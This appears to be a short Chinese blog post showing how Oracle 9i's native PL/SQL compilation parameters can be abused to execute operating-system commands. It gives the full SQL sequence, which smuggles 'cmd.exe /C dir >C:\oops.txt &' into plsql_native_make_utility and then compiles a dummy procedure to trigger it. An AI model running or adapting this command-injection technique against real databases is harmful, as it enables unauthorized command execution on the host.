这里举出一个攻击代码例子,你也许会觉得惊奇,抑或认为这是一个运行命令的好办法,是的它很“有用”。
在Oracle 9i中允许采用Oracle本地编译PL/SQL应用程序的方式进行操作。显然,可以利用这一点来运行OS命令:
SQL> alter system set plsql_native_make_utility=’cmd.exe /C dir >C:\oops.txt &’;
SQL> alter system set plsql_native_make_file_name=’ foo’;
SQL> alter system set plsql_native_library_dir=’bee’;
系统已更改。
create or replace PROCEDURE wcg
IS
BEGIN
NULL;
END;
/
show errors
在Oracle编译wcg过程的时候,Oracle会执行下面的代码:
cmd.exe /C dir > C:\oops.txt -& -f foo
bee/RUN_CMD__SYSTEM__0.DLL
Oracle10g中 plsql_native_make_utility与plsql_native_make_file_name2个参数已被废弃。
Leave a Reply